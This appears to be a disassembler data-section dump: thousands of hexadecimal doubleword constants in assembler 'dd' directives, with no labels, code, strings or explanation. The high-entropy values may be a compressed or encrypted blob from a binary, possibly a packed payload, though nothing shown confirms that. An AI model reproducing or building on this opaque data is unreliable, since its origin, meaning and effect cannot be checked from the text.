		dd 8034D323h, 369BE0DAh, 4B0C59ACh, 0E5E660DEh,	0B28DC99h
		dd 88AA4855h, 2C0E30CCh, 0C6A2291Bh, 8C61EE31h,	1A9CC0EEh
		dd 0CC1AD74Bh, 0ABA16EBCh, 0F08A8A71h, 0D6F315B0h, 29E6D7F2h
		dd 0AB2383Fh, 0F324E8D4h, 153C9E6Bh, 7DC2A84h, 4476D540h
		dd 0B04B4728h, 0EA5C8023h, 67B45094h, 0B00EA3C9h, 630CDB88h
		dd 51FA93A9h, 0D2442F48h, 0A3F5808Fh, 0A4C87E92h, 47E9791Fh
		dd 4AD1FD2Ah, 8FD56A3Fh, 9EA3FA5Eh, 1FA4C47Eh, 6047F4FDh
		dd 3F48E8FDh, 5D61EBF2h, 2D0411FAh, 588FBADDh, 7EA05172h
		dd 911FD214h, 0FD5E23F4h, 323FA4A8h, 0FA5A47E9h, 0B47E4A91h
		dd 0F5718FD2h, 0A8FD97A3h, 0E93A1FA7h, 11FA3F47h, 0D2043F58h
		dd 5A6CFC8Fh, 0A2F47E97h, 0A4288448h, 0C0B11Fh,	447EFC40h
		dd 0EDE447EAh, 47EAA547h, 0AD477EA6h, 7EAFA47Eh, 0C47EEAB4h
		dd 0EBF447EDh, 47EEBD47h, 0FE477EA7h, 7EAE047Eh, 0F328EA04h
		dd 0B296E8E1h, 2F52E54Ah, 2A3F030Ch, 39E23F5h, 5983572Eh
		dd 5EAEBE45h, 0B203C618h, 2F52EC22h, 2A3FE30Ch,	23E523F5h
		dd 5223577Ch, 3F3B0A3Fh, 782EF52Ah, 0E5221AF3h,	0A3E530C2h
		dd 265F3F52h, 7456061Eh, 0C9CE2FC9h, 229BCACFh,	9D93A0A3h
		dd 0C5DA40A5h, 7E868796h, 3A770316h, 0F9232E92h, 7FBDF872h
		dd 6299A777h, 65730709h, 0E7A73A58h, 63D5C234h,	8F207950h
		dd 0C1D3D364h, 0A9E92D0h, 201824C3h, 0C4181C3Fh, 0D640A4DFh
		dd 0C31E1861h, 2EB13298h, 4C613181h, 874FAF6Eh,	953BE4BAh
		dd 5B43A6A7h, 0B5DA2DD2h, 9366B792h, 0A4554CCEh, 8A0174h
		dd 0ADBB0954h, 53CD8C03h, 3D6E11A1h, 892F3B1Eh,	14B2B4D9h
		dd 0CBD8633Ah, 8A1AD8EEh, 0D53B9A8Eh, 0E1693227h, 0B780ADCEh
		dd 9CE9B193h, 582CE3B2h, 100E4C2h, 179616D4h, 0B88DA882h
		dd 5352810Ch, 12AE6EA1h, 0F46FCA3h, 0BD4E9165h,	336394EAh
		dd 1D288349h, 487CBA5Bh, 6DD61766h, 0FD1DB15Ah,	0EC854644h
		dd 80323995h, 0E0240980h, 241FFC43h, 0FC0C5821h, 3A6D0FEDh
		dd 4D1BFF5h, 852D0AE4h,	0C4C0835Ch, 0D165BC9Bh,	20A77EC4h
		dd 957A4287h, 9664516Ah, 0F4727D4Ah, 6999E152h,	600C941Ah
		dd 54E38CBAh, 5F514C3h,	0ADF76018h, 0B1F176CFh,	21677CBh
		dd 5097983Ah, 1E4CBB3Bh, 1B085B80h, 4242E5D3h, 981250D3h
		dd 68686558h, 0B0BD2AC6h, 0C851700h, 587D5240h,	0B9A32600h
		dd 0DA19A214h, 582441D1h, 0C34AFF01h, 33004614h, 14287500h
		dd 1D2E0458h, 8AD4920Ah, 19538C5Ah, 8A3AE180h, 0B013C01h
		dd 0C156212Ah, 2448639Ah, 0D08E02D4h, 1E9154CBh, 52DA082Dh
		dd 53EA49A5h, 954E78A7h, 0AB55151Ah, 9AD5A955h,	63B2EB15h
		dd 0D67B86C5h, 0D56B596Ch, 6DD645A6h, 0C6E5B65Bh, 0B8BBFB85h
		dd 179B7351h, 0B0C95DEFh, 6B36D4C1h, 27329CD2h,	254C9BCEh
		dd 0D81FB97Ah, 989F302Ch, 0DADB634Dh, 0B44237A3h, 6B196936h
		dd 18E2625Dh, 833ADFB8h, 0BB4168D0h, 0BE842052h, 7BC42D16h
		dd 0C333AF94h, 0D65D0AF0h, 0F734F4EFh, 3DB34240h, 20980D66h
		dd 189EB108h, 1776FFFAh, 8FB91D5Bh, 9E923A5Fh, 0E054042Fh
		dd 0A601BD31h, 0B4330012h, 83519FFAh, 0BF5E1627h, 0F058C442h
		dd 4E58AD9Fh, 92193D0Fh, 5F30BA24h, 0E4178DACh,	50467439h
		dd 0FD630256h, 87FC20A0h, 92401CFh, 2295962Eh, 0E194C1F1h
		dd 0FCC00F8h, 6443E959h, 586D8A62h, 763019B8h, 0FF9E0C72h
		dd 3A123DDh, 9ABFBEE9h,	98F8FACBh, 0C3C3442Ch, 0D6231562h
		dd 7C63B06Fh, 72C64C5Ch, 1E3D7130h, 0E8E7BF18h,	19BAE163h
		dd 709FE673h, 0DFE84131h, 0D1C85FE0h, 9163DD68h, 0B11229CAh
		dd 1C6ABF63h, 21B74A3h,	606D1FF6h, 852B9A18h, 1E2C5023h
		dd 7201B9h
		dd 1343440Ah, 24A08D04h, 785236C9h, 118FAD16h, 5460A905h
		dd 4067517Ah, 9C52A56Ah, 999D7E3h, 7FED4CCDh, 3587F74Ch
		dd 483F2A7Fh, 0D80BC17h, 7F49079Fh, 484AF1FDh, 902DDF2h
		dd 8BC3EBE1h, 491CC859h, 0EC162960h, 5B7440B0h,	0E142F462h
		dd 0FF293961h, 4AA7089Fh, 0FE7F0DCh, 0DEE8C9B6h, 0C4BDA28Ch
		dd 0E8572EB7h, 0C9DCE5E9h, 0B308D125h, 79480CCEh, 0AA49545Bh
		dd 5F187092h, 0DA1A2097h, 816C4432h, 1938442Ah,	646B4D70h
		dd 852F6169h, 80E22261h, 0C2397887h, 68848BA5h,	62FDAD2Bh
		dd 416F7A61h, 689E409Ah, 3F6B8045h, 0D70D57E6h,	0E728055Bh
		dd 0CC7F35EFh, 0EABFE416h, 0E8F7B150h, 422AFFCFh, 80041500h
		dd 0A5643FA5h, 525060C4h, 18CCE030h, 42A82D00h,	30050047h
		dd 0AE0D4194h, 3292297h, 5E499046h, 5B2DCEh, 0C870E894h
		dd 0A5941DB6h, 0DE59F5ACh, 0B73DCDA2h, 524F5890h, 4C0A733Dh
		dd 9AB180D2h, 99775Bh, 9361C131h, 5E82F026h, 0BAE34156h
		dd 0DD187584h, 1AB875B4h, 88E142B3h, 0E80D1696h, 5B604B9Ch
		dd 80326C96h, 4199BC51h, 2D2AA20Dh, 2D010D71h, 9C088F00h
		dd 4F919427h, 9D1A6A11h, 0E398198Bh, 0BC1A3996h, 0EDAC1033h
		dd 6658CE67h, 413B7341h, 44605C73h, 0E01BE5A0h,	8E028D4h
		dd 2194AE74h, 56A12E2Ah, 561C510h, 87A14C28h, 427C561h
		dd 0C0894083h, 4B8D829Bh, 0C06B1BD1h, 0AA014B06h, 5082A64h
		dd 9A1E656h, 44F465Ch, 3AA58012h, 24CB55D5h, 4D74049Dh
		dd 805B0Fh, 9CCDCA60h, 92D32931h, 50FA48B0h, 87B45971h
		dd 0B288F935h, 4DF32115h, 9814B6DDh, 8A620391h,	310DC768h
		dd 0C4AE085h, 80C134A4h, 936B8026h, 70311561h, 3798304h
		dd 520195Eh, 2C1AB290h,	87F47048h, 1D290EB8h, 69FFDB63h
		dd 5E8AA3FAh, 0DB75BEF9h, 93159553h, 2CCDFA3Dh,	5723DF4Fh
		dd 522392E5h, 53534F23h, 41014B23h, 20D32823h, 9BD91A48h
		dd 49D394B4h, 0D5327C00h, 904F7C25h, 0FE43408Eh, 4AFAF4h
		dd 8724DBBEh, 44624D42h, 205A233Fh, 842652B8h, 9B642474h
		dd 0BD9F4611h, 989D8B30h, 0F7E680C0h, 0AF30683Ah, 54285017h
		dd 7D5D8C24h, 358552Ah,	60A47BCCh, 0F7002C28h, 449FA9BCh
		dd 0E9536A08h, 951383FEh, 140EA028h, 0E541D932h, 296139BAh
		dd 0B81AD8Ah, 5F003023h, 2C4D85C8h, 36DC3F42h, 0A64CA55Ah
		dd 0EC0C3D90h, 978F2EBBh, 0B45F83E5h, 705CD32h,	2577DC96h
		dd 0F5C70518h, 1CFF118Ah, 895C3931h, 6081A1B0h,	4614291h
		dd 5E560558h, 7F876731h, 0F96BBFDEh, 0DC9332BCh, 10347CFBh
		dd 9526B816h, 0AF7A762Ah, 5E4EC7A8h, 8FDD3B16h,	507A1725h
		dd 1FA0F9F9h, 0F4FE3C11h, 1E15697Dh, 0F6FCDFC6h, 0D8684A9Ah
		dd 7F0604A3h, 2C5417DBh, 4C9E1096h, 0B13B8225h,	81DD45BAh
		dd 0C0CC7672h, 5A5C8F9Ah, 17A0377Ch, 0AF991996h, 57B1A95Ch
		dd 51B11EE4h, 0DE7E97D0h, 0B105392Dh, 325DB666h, 6B8147E8h
		dd 1996CFA4h, 3CE0D3DAh, 6A3C4134h, 6A4140BFh, 4FE94A04h
		dd 0F24FD23Fh, 0F3DBC8F8h, 6593454Eh, 0CB03A27Bh, 1B48D30Bh
		dd 17CF423Eh, 74F9D48Bh, 0E6C5DA4Bh, 0E76A1C7Dh, 12665090h
		dd 84A57CE7h, 7CEF2C54h, 2133C4B5h, 271F19DCh, 0F2A9538Bh
		dd 0D8B19534h, 96771C40h, 0EB437A14h, 0DC9F57EFh, 3931347Fh
		dd 0FBC06BB1h, 0A90BEC2Bh, 7AC2869h, 0C6B54B6Dh, 0E423CCAEh
		dd 0DC4DFE59h, 582A63CCh, 12D37114h, 96883F43h,	11D348BDh
		dd 8DF377D7h, 4DB7ED57h, 352129BAh, 6A1719ACh, 1B0FA970h
		dd 16874FCEh, 0FB9D96F7h, 2903F7A7h, 0E872AF43h, 36AD6847h
		dd 0A9E84466h, 731874CFh, 6E31A5F1h, 262FCDDh, 7A5C223Fh
		dd 0CA97C5E8h, 74CD8A7Ch, 15AA708Bh, 0DDE144AFh, 11A83EFEh
		dd 0B77AC428h, 9856612Ch, 9CD5F1B3h, 3F9BFFDEh,	511618DCh
		dd 3C960EF3h, 0A48468D4h, 96CCD353h, 4339C0ECh,	7EDB64CFh
		dd 94EF7F4h, 925ACF44h,	0A74947E8h, 45731C5Ch, 0CE4240C0h
		dd 0A1C4DF0Dh, 26846742h, 0A5806B10h, 0FD5A7E89h, 0FB43AEFBh
		dd 70D46BE6h, 1C697FCEh, 0B71FF432h, 4A32BC11h,	4F7FA289h
		dd 0BC74D98Dh, 0DECC0146h, 2E9026B4h, 11FA4E2Dh, 0F31BC19Ah
		dd 44092A96h, 0DC698ACAh, 91A6D0B5h, 0BB6BF7DBh, 4592CF65h
		dd 0EBDE763Fh, 86CDD1C0h, 0D3E15F16h, 0E1C2229Bh, 3935FF08h
		dd 71B4BFF5h, 0E43C22E9h, 0FD76D0BAh, 6C72FCE7h, 8AA2C9C1h
		dd 0F461AF86h, 837EB603h, 4A92294Ch, 7A7AA039h,	0A99DFB6Eh
		dd 94B84E0Eh, 0A5B9B444h, 7B74D48Ch, 47A197F4h,	0F2B1F93Dh
		dd 992F1E89h, 8FD19EDFh, 9F6AAAD2h, 8FFBA4BCh, 231B1F06h
		dd 5717FD52h, 0F2D43ACDh, 689DBCh, 504208D4h, 0F4390D5Dh
		dd 280897A6h, 16105025h, 653F86C0h, 82A1421h, 564602h
		dd 2CB30562h, 23B1AB3Ch, 224C491Fh, 0BA5AFC5h, 59DA27C0h
		dd 0E53BE245h, 0D452022Bh, 79647398h, 3DC8A69Bh, 513FC7C5h
		dd 0FA7AE4AFh, 0BC5DC61Bh, 0B34FFB71h, 0A3FB4F1Dh, 4671F751h
		dd 4A3A9DDEh, 6C56D59Eh, 0DA6CDB39h, 4CFDF567h,	0A9952F71h
		dd 349D3E6Fh, 0F92CFF2Fh, 2977965Eh, 8AE9A049h,	0EC6F780Fh
		dd 9CC335A3h, 0A149F7EBh, 3FCDEBBEh, 90CC76F3h,	1FDDAFA9h
		dd 0C7706E22h, 0B33BFE27h, 645A553h, 78635CDDh,	9412FFE0h
		dd 0F043B76Bh, 5D448718h, 0A00128D0h, 444B9F08h, 0C70993DBh
		dd 37DB5232h, 0FB85E66Eh, 0A837A40Bh, 5285FE5Fh, 0E4B60BACh
		dd 0CC7720FAh, 966FDA9Dh, 0B7DB07E1h, 623AAF57h, 0A6E2FCC8h
		dd 8667DB79h, 0ADA5CF91h, 78BFE4BBh, 0E2B3B65h,	7E238DE5h
		dd 45E69795h, 0DDC73E2Ah, 1CDC7998h, 47A526FBh,	0B03EFEEDh
		dd 11D36D60h, 2939A6FEh, 567BE978h, 0DDE93997h,	9C1287FCh
		dd 0FBF8FB3Bh, 2B34F969h, 0A2E3E8D7h, 0E228B760h, 451DE8A1h
		dd 1E87B8FCh, 0EBB923B8h, 0B92AFB83h, 0F34ACF60h, 0A1970C87h
		dd 0E098AD1h, 0FF27DBCDh, 0BCA7758Dh, 0A7E63E2Bh, 4B94ADB1h
		dd 0BECBF2D7h, 34E8968Fh, 0F776D9A9h, 0FFBB9756h, 0FE6F9660h
		dd 50A48DFDh, 828499DBh, 752D9A9Bh, 0AF12C67Fh,	0D301C8DEh
		dd 49EF0FC4h, 1CD6F5D9h, 0DBEE902Fh, 0FA5EE33Ch, 908EEFD3h
		dd 1296A2CFh, 1B3A6D73h, 61B4CF29h, 3C37064Fh, 8EEFDCCEh
		dd 0C67E690Fh, 9CD714D4h, 0C374FE2Bh, 2F3703F9h, 0ED3544Dh
		dd 67F28B95h, 1248D5DAh, 91B83255h, 673FA51Eh, 136FA5C1h
		dd 40FF5DACh, 0BD3E99BFh, 0A15E17A9h, 6EA6797Dh, 0A8CDE55Fh
		dd 94ADC365h, 69BBDD64h, 0E67F8E5Ah, 7D7CBECh, 472CDA74h
		dd 0B64246C9h, 0B80ED0BEh, 4BD363E0h, 0B3DD04B5h, 5BFD31BFh
		dd 3FDF2831h, 1FC626E3h, 0DDA76E62h, 4DCEBC0Ch,	0C95FBBADh
		dd 0BD4E937h, 0E252E23Eh, 78EFEF83h, 46170C8Dh,	9D7E11CDh
		dd 7A76EB96h, 70BC6EB7h, 5BB8D769h, 0B50DCB77h,	9D0EE61h
		dd 28D79EC3h, 1F49F5DFh, 1FC9E517h, 0A5278409h,	866612C6h
		dd 4A0C6F67h, 0B69A6491h, 92BE4FADh, 2387CD20h,	0D4E3A6FBh
		dd 3FECFC6Fh, 18FE2972h, 0B40DF20Bh, 64B36427h,	8ADFCD0Fh
		dd 1BCC2177h, 9BCB2CDBh, 0F12FB33Fh, 2778EE2Fh,	7A6B5D0Bh
		dd 2497A3E2h, 869F108Ah, 6CEE1847h, 280B7D96h, 69755475h
		dd 0E3BDB503h, 23C792DEh, 66F75DFEh, 0B7F115DDh, 47C27B2Ch
		dd 0F04C4921h, 859C4909h, 9F513F19h, 67EC8D85h,	0CD221CA3h
		dd 0D8CFD42Dh, 99479F41h, 435936B9h, 7E64D727h,	0BD2FE6DFh
		dd 0FED2F359h, 8BA42F92h
		dd 0C8DA5BBh, 0F14C120Bh, 0F966F527h, 0DCCB86DFh, 5A7E373Dh
		dd 0B5EB235Dh, 9B2AEF7Dh, 0B7D86A63h, 249F3507h, 0AEBBECDDh
		dd 0CA794DFFh, 957BACA1h, 824C3B1Ah, 381E07C6h,	4B6D6FD1h
		dd 0DC7A569Ch, 512EE8DAh, 0BD9ED15Eh, 8A92AE0Fh, 0B53E6EAh
		dd 893FF8CBh, 5BA56558h, 0D5A2221Dh, 4D12F5A2h,	3375D53Dh
		dd 7BB4513Bh, 3E19E2E3h, 65AF1C94h, 21CB98B2h, 0DF1395EDh
		dd 8DF7DE7Fh, 2E3EC297h, 1A3FF7CAh, 0A8DA9488h,	71689B50h
		dd 0CFCE7431h, 0E798946Eh, 0EF87E8C5h, 5BE94DCCh, 2D2E71A3h
		dd 0BAE810C9h, 0B987A56Eh, 0A242B622h, 0ACE2F5Eh, 91B4FFB1h
		dd 99F9FB15h, 0CF3EE7BCh, 0C3E821B8h, 0ABDD8FFAh, 7611FA36h
		dd 0ED62D894h, 6FFA44ECh, 0BAD4378Ch, 0EA90785h, 0AED7247Ah
		dd 6D8BE9F4h, 749834E4h, 2BBCEB39h, 7E548562h, 5B5DB24Dh
		dd 72E20A84h, 7B8BED87h, 25567413h, 0A7BF66D7h,	0BEAFC87Bh
		dd 0FAA458FFh, 99B891DDh, 195BFA6Ch, 7F93F50Ah,	0F3A7E55Bh
		dd 0F07F3A84h, 2F082AE7h, 47755FEDh, 2F97CDA7h,	8FADA948h
		dd 7EE0AC67h, 7793D0B2h, 0CB6FF4BFh, 79E1A3ADh,	87AB7BDEh
		dd 41695F8Dh, 8CC325CAh, 0DDE45CBEh, 0AEE6CD43h, 64E0E77Eh
		dd 184D270Fh, 15475F39h, 0A4F07E03h, 121EA74Fh,	938CB91Fh
		dd 350E6F2Fh, 0C74A6923h, 83E376DCh, 0FF4D2191h, 71AC7794h
		dd 0D20D8257h, 0D16E74FFh, 0B4F22C0Eh, 0FABBC069h, 0D24A3E65h
		dd 3E223BE6h, 0D5A2C4F7h, 63EB17Bh, 5DB7C2DEh, 0ED009B87h
		dd 0D0831394h, 0A600AE2Bh, 8722B402h, 42D88A29h, 896B8B02h
		dd 19F37601h, 9C654115h, 9A37438Eh, 80CB859h, 0F5002209h
		dd 2EA64604h, 73041327h, 15F2BE23h, 8AA75EB0h, 921234D6h
		dd 0EAD286E6h, 0EACC0214h, 9E0EA9E0h, 8508B02Ah, 53C3EB35h
		dd 0FBB84565h, 3D717FB5h, 6F9C8572h, 0C663EDE3h, 0CC28BFF7h
		dd 0CF77059Ah, 0FB74704Fh, 9BE381A0h, 0F5951F7h, 53C3154Fh
		dd 924D9005h, 1C42F623h, 382EC660h, 6A79290Eh, 0C3CA5211h
		dd 0F2021553h, 0B8BF4114h, 7F349CF8h, 3C6B3A3Ch, 0EA40C63Ah
		dd 53CB8452h, 0C6C2E1C4h, 50682C5Ah, 0FEFB3011h, 92C959B9h
		dd 4D4621B4h, 0B1CC2CD0h, 0F939EA93h, 0F9DD7D64h, 27559AB1h
		dd 2BB7E22Bh, 4C68EDC5h, 180650ABh, 9DFDD138h, 232460F1h
		dd 0B756968Fh, 0FD5E695h, 0D081EEDCh, 0F7F23E75h, 493BDC0Ah
		dd 9DE7704Dh, 0B97EBE40h, 0CFB6F9DAh, 99AB607Ch, 5769DA37h
		dd 507B5A63h, 0C3D30F8Ah, 0A0B16662h, 238996D3h, 0E5E039CEh
		dd 26B35EE7h, 0F6E99B59h, 7656B96Eh, 46558FF9h,	6BA7CE04h
		dd 94C7E6E7h, 0E36E1A7Eh, 996A95Bh, 2C94B473h, 79484DCh
		dd 557D0AE1h, 0E944613Eh, 26B715BEh, 4E778BF9h,	0E3E2C9CEh
		dd 2CA732E5h, 0E0E19348h, 8B368DACh, 6BB97B55h,	0E4226650h
		dd 156BA2CEh, 0E6F0FB1Fh, 0CCA5EFB5h, 27ADAFDAh, 0F3ADF6DBh
		dd 7FE3CAE0h, 7254240Fh, 3CCCA9D4h, 23B63CDDh, 0B80EE261h
		dd 0B5617F3Ch, 0A0700FF7h, 32A5C6C0h, 4A94B8F6h, 1D1E41E4h
		dd 29635C7Dh, 0FB251DE2h, 0A5CDA35Ch, 9C6A4219h, 45957FFCh
		dd 7F915E5Fh, 0AADA160h, 0F377AA64h, 251E1BD0h,	8FC1BAAEh
		dd 0FFADD3D3h, 0ECCEF837h, 7D495E73h, 970ED038h, 7C7C3F63h
		dd 6B15C146h, 7BC58A39h, 0F9F5F3F6h, 560799C8h,	0BB46B48Dh
		dd 5DB753E0h, 0DBBAFAFCh, 0B61AA365h, 991FC8A7h, 3CB7B6BEh
		dd 2209CF59h, 0C4B14DB4h, 0CEA39A8h, 87E4B79Dh,	9E2C6BD6h
		dd 78A7B378h, 6AA0569Bh, 0A988D1CDh, 0CE67FCADh, 0DD44B19Dh
		dd 8E749997h, 622BBDDBh, 0DAF82FD8h, 0E7F2D7F9h, 9EE7FE8Eh
		dd 0B39A0FD8h, 52A13091h, 52262FDDh, 7D104EA1h,	937A368Bh
		dd 8CD5C596h, 9AD1B3CDh, 46EF29B7h, 0D96E4AC5h,	259E4BB6h
		dd 0B754376Bh, 0A3B5D345h, 8C152A76h, 4A351B85h, 4EB72613h
		dd 0CD025287h, 0B2CD569Dh, 8A3DAF78h, 52B1AE74h, 0B39BBEEDh
		dd 0A951DAE9h, 305E35D6h, 0A85BAC1Eh, 0FB856571h, 349B6636h
		dd 5368BAABh, 51ADCCCBh, 36FAE5CAh, 0F4CA6569h,	9B59853Ch
		dd 0BD546162h, 7D1D0F96h, 0E229D45Ch, 0A4A81E1Dh, 64E0542Ch
		dd 0A5CD768Bh, 0D56A524h, 9B50AF8Bh, 0AB958535h, 2B476D54h
		dd 4346987Dh, 0CB856976h, 53312874h, 0D26CA6D1h, 213B7AB1h
		dd 0AD36D6EAh, 0A2D93D1Ch, 0E8456B39h, 1AA40C4Dh, 61B76EB3h
		dd 0E5B2D2ADh, 0A8543BC3h, 9A5C9F44h, 0A0386F54h, 56B2CAA4h
		dd 102E5685h, 0ADDC58D4h, 0AD1E959Bh, 0B0D0D139h, 0A9B99943h
		dd 233668D5h, 0A0AD7A11h, 66A9FB25h, 86AEC29Bh,	95DE5AEAh
		dd 2A0494EBh, 45EA9F43h, 2952167Ah, 7A876369h, 1B35852Bh
		dd 4AA4E6D5h, 0C68EAEB5h, 773B2E00h, 6E48586Ch,	0AD26B5A2h
		dd 0A654B9B9h, 0FBD48575h, 0A6D2C34h, 58E4E5A7h, 71AB2A9Ch
		dd 8D05CA93h, 34508492h, 65306C7h, 64A5C028h, 0A4099B6Dh
		dd 41B3DE62h, 16C9352Dh, 0B514DBAFh, 9B4CA55Ch,	73A2D5A4h
		dd 0B67581B1h, 331E4DADh, 30A3C4C3h, 0A313AD39h, 0ACC0427h
		dd 0B91CF061h, 0E22DF562h, 1CFA45E8h, 401235Eh,	0B15A389Dh
		dd 2BFFB8FAh, 462DCF40h, 0CEEFA2ABh, 2BCA255Fh,	4BE82E97h
		dd 0A212FA28h, 66999028h, 0B3A07DA2h, 5D33CC0Fh, 43BCE9D1h
		dd 20B0F120h, 75BA5F58h, 0D1F87AE0h, 98F09F0Fh,	480F53A2h
		dd 5B332093h, 0A0162A1h, 4360D21Eh, 94704981h, 8C788B41h
		dd 0B83E89F1h, 79308CD9h, 0A072A2A0h, 6031FB40h, 60F78267h
		dd 23C13A1Dh, 918624E4h, 444FD5B0h, 0DDFF53A8h,	3739EDEh
		dd 42E9075h, 0E04BE94Dh, 620C022Dh, 0A861131Fh,	25D6E625h
		dd 89650EDCh, 0E64147B4h, 3D7C6428h, 8F5A2D9Ah,	48914BC0h
		dd 54141286h, 9749CAA2h, 25B27A80h, 91841E96h, 94729423h
		dd 9D1EB572h, 10FB0897h, 0C4A0F853h, 7390A3DDh,	5A8E72A4h
		dd 0D9A395B6h, 0B8526D12h, 1897DA04h, 0BC25E473h, 2396751Eh
		dd 7314AF98h, 958144A5h, 259A72A0h, 92841E9Eh, 0F4319A23h
		dd 3EB7BC88h, 0BF5F2815h, 96A465F3h, 20E7E7D2h,	75080229h
		dd 2EB27010h, 4948F711h, 33283DACh, 1EBE0184h, 47AC96CDh
		dd 3025E0h, 12A08929h, 44BA8653h, 6125A3D3h, 10C348F4h
		dd 14802006h, 781034A4h, 0F7111630h, 3DA87CE8h,	1842FBAh
		dd 94E54948h, 24A43318h, 19541EB8h, 8F4E80C2h, 40614B66h
		dd 25DD1252h, 0A4A40C8Eh, 19E44788h, 2B9880C2h,	8A4AA4A1h
		dd 6B01A39Ch, 8F64DC1Bh, 806106C0h, 25E41252h, 897F0CBAh
		dd 945A47ABh, 7242641Bh, 12A58894h, 44A18E4Bh, 70CD23D1h
		dd 523D9234h, 0AE8F2109h, 0C1A3E44Ah, 0B7087312h, 2292DB44h
		dd 96F671h, 8E594473h, 0CAD1AA54h, 5E3412D3h, 97CDCA42h
		dd 25FF7A58h, 94741E88h, 0F47347BEh, 0F91E2F12h, 0EF98B096h
		dd 4A1DE25h, 7308239Ah,	668EB314h, 0C4239432h, 0B3C85A12h
		dd 2DD2D4C4h, 4A7BF4C1h, 3F143D14h, 48F73747h, 0A4076431h
		dd 3279828Ch, 27999C8Ah, 7980B0A3h, 968A8A32h, 50A3A327h
		dd 8A323279h, 0A3272793h, 32797920h, 0A79C904Ah, 79B0E8A2h
		dd 994ACA2Ah, 78A2A2A7h, 0CA2A2A79h, 0A2A7A795h, 2A797940h
		dd 0A79E924Ah, 79D008A2h, 9B4ACA22h, 98A2A227h,	0CA222279h
		dd 41A2797h, 0B0827970h, 94D30802h, 40E05612h, 397E3C2Dh
		dd 509520D3h, 0E445345Ah, 55B8D659h, 9F8AA209h,	5D7F4C41h
		dd 0F0021A1Ch, 928E8916h, 8AFF0CAEh, 36007212h,	9FB2D903h
		dd 9264834Dh, 20A9062Eh
		dd 0A4CCA97h, 1016D426h, 0B0D58BADh, 4C4C3368h,	8DA6095Eh
		dd 58B35861h, 4CD8D324h, 689B182Fh, 0FA64617Ah,	0CC904CD1h
		dd 400CF0Bh, 0DA65E80Ch, 94C10C43h, 4576F60Fh, 0D7ACCC24h
		dd 34495F53h, 0A1DF490Ah, 0E8B4CA48h, 871D05D9h, 0F1242245h
		dd 4DE28DA6h, 6372DEB1h, 9BD89B9h, 0D6C99BD7h, 9BD66E9Bh
		dd 6D37BD6Ah, 0F12489BCh, 9B978EA6h, 0BD70DE28h, 0E8FD2C30h
		dd 0D6A88FD6h, 8FC66C8Fh, 0E23FFD68h, 0A1A591F8h, 8D2658A2h
		dd 0DE349F37h, 9378F1A4h, 1A4D9BC6h, 0BC69D26Fh, 26F1E349h
		dd 349B378Dh, 78D2A4DEh, 4DE3C693h, 691F6F1Ah, 0F1A448FCh
		dd 8FC68D23h, 0D23F7E34h, 0E34891F8h, 0E0501A47h, 0D4ACBDF1h
		dd 4F989F91h, 44DE50B5h, 0E249714Bh, 37ACB34Dh,	6985BC51h
		dd 52E11371h, 0D37A461Ch, 0AD5337ADh, 37ACD937h, 0C9377AD1h
		dd 0F582D37Ah, 0B0C28926h, 3F5B6E5Ch, 0B23FF5C2h, 0F5A2A3F5h
		dd 0A3F55AA3h, 3EC03F59h, 5DD8923Fh, 68633E2Eh,	59D9EEBCh
		dd 85FB60EAh, 718537A3h, 8BC51675h, 83303424h, 95591178h
		dd 9C2245C5h, 17A68534h, 3545F4DDh, 2F4CC8BDh, 648BE9A2h
		dd 7A60D17Ah, 0E68C491h, 0E1178B8Eh, 0BD36C294h, 0AA2FA6E8h
		dd 7A6645E9h, 245E4D11h, 3A448BD3h, 24AC269Ah, 0B4EA0EC9h
		dd 2B2C1628h, 0A7533B0Ch, 6A850117h, 9F6D0A52h,	0D2CC28C6h
		dd 0F6B8A5C0h, 0F4D8743Fh, 8DC39684h, 0A695CCCEh, 0AE12FC5Fh
		dd 0CA5CA052h, 0ECA592DCh, 0B3442D24h, 3458AEF6h, 0C900AED6h
		dd 0C210130Eh, 6A0CC65Ch, 9592312Ch, 0B299EDBCh, 8246C579h
		dd 967D5F09h, 0B0890BDCh, 11A82E8Bh, 0A0242E85h, 29ACD547h
		dd 61B7A693h, 8BFD8287h, 438649EEh, 0B19CA4D6h,	0E9608996h
		dd 0C0A53448h, 154AA401h, 0A9450058h, 906E9E4Ah, 405CA218h
		dd 6E16C914h, 0D1DD2585h, 7C12FB95h, 80B02927h,	0D034ACB7h
		dd 865CBA8Ah, 0D2F788A0h, 2D61ACB6h, 15041C4h, 0A21AB1DAh
		dd 0AA5CCCB9h, 0E7666D20h, 5D8652h, 0B617542h, 16D52DB7h
		dd 83BE9084h, 0E0F29249h, 69D424D6h, 6436A152h,	0B2B41A95h
		dd 42351AB8h, 54282AA3h, 0E1F94A8Bh, 9C3CDA8Ch,	18A250A7h
		dd 0D1752443h, 0CA58A0A3h, 5B1A364Ah, 0C0215B0Ch, 0C2FB597h
		dd 0A7280D0h, 0AD60010h, 0CAE9A699h, 7E85EBD2h,	2C443606h
		dd 50491722h, 9A9A5AC3h, 542C6994h, 69BB868Bh, 2AE23A1h
		dd 5C145954h, 0D6468D07h, 0DEC1143h, 3172FF43h,	83E43FF5h
		dd 85590702h, 0AA5EEFC0h, 506DAE14h, 0F6C46E16h, 5618BA3Fh
		dd 9154D5D1h, 9A85FA82h, 0E6B3AA95h, 8A5E1438h,	0AABE7904h
		dd 0A2E14CA8h, 8B21B158h, 3A156E09h, 290CD01Ch,	884685AFh
		dd 4552055Eh, 50D466A2h, 0BBCA5010h, 5662B929h,	56141833h
		dd 0B6F1C063h, 5C2CEBD5h, 53AC46BAh, 330D80CDh,	53CFB0C5h
		dd 126B0AABh, 0A767ED46h, 4912AAD2h, 62DC3584h,	1A00664Ah
		dd 7568D77h, 5041741Ch,	0AC13B500h, 0F714AAAAh,	53068EADh
		dd 472E1222h, 5CB56063h, 6B95F6E0h, 987A1712h, 7D5897Eh
		dd 9D94D174h, 7C225514h, 0C2952A47h, 0A8EBD686h, 1DFA792Dh
		dd 0EABD0006h, 24CBB3A5h, 0B07CC22Ah, 38601E94h, 3425A988h
		dd 3CA15B6Fh, 595D22C0h, 50A0ACEFh, 620AFBF8h, 6C6017CBh
		dd 25B4F87h, 9012952Ch,	5E0D9A86h, 227B2C6Ah, 0B85946Fh
		dd 0F1300Bh, 3E43C809h,	3A5A8970h, 3BF48546h, 594CA492h
		dd 3A9B44C2h, 0DA50014Bh, 0E55C6028h, 0A561A0ACh, 60130132h
		dd 90884147h, 25842C57h, 80750A9Ah, 5404C069h, 84721E9Bh
		dd 0ADEA4A65h, 626D25A6h, 35D45796h, 0C144A28Ch, 0A2D5BC5h
		dd 0C140F8F3h, 0A4A9435Bh, 0E9BF5C30h, 3D517368h, 0D89411BCh
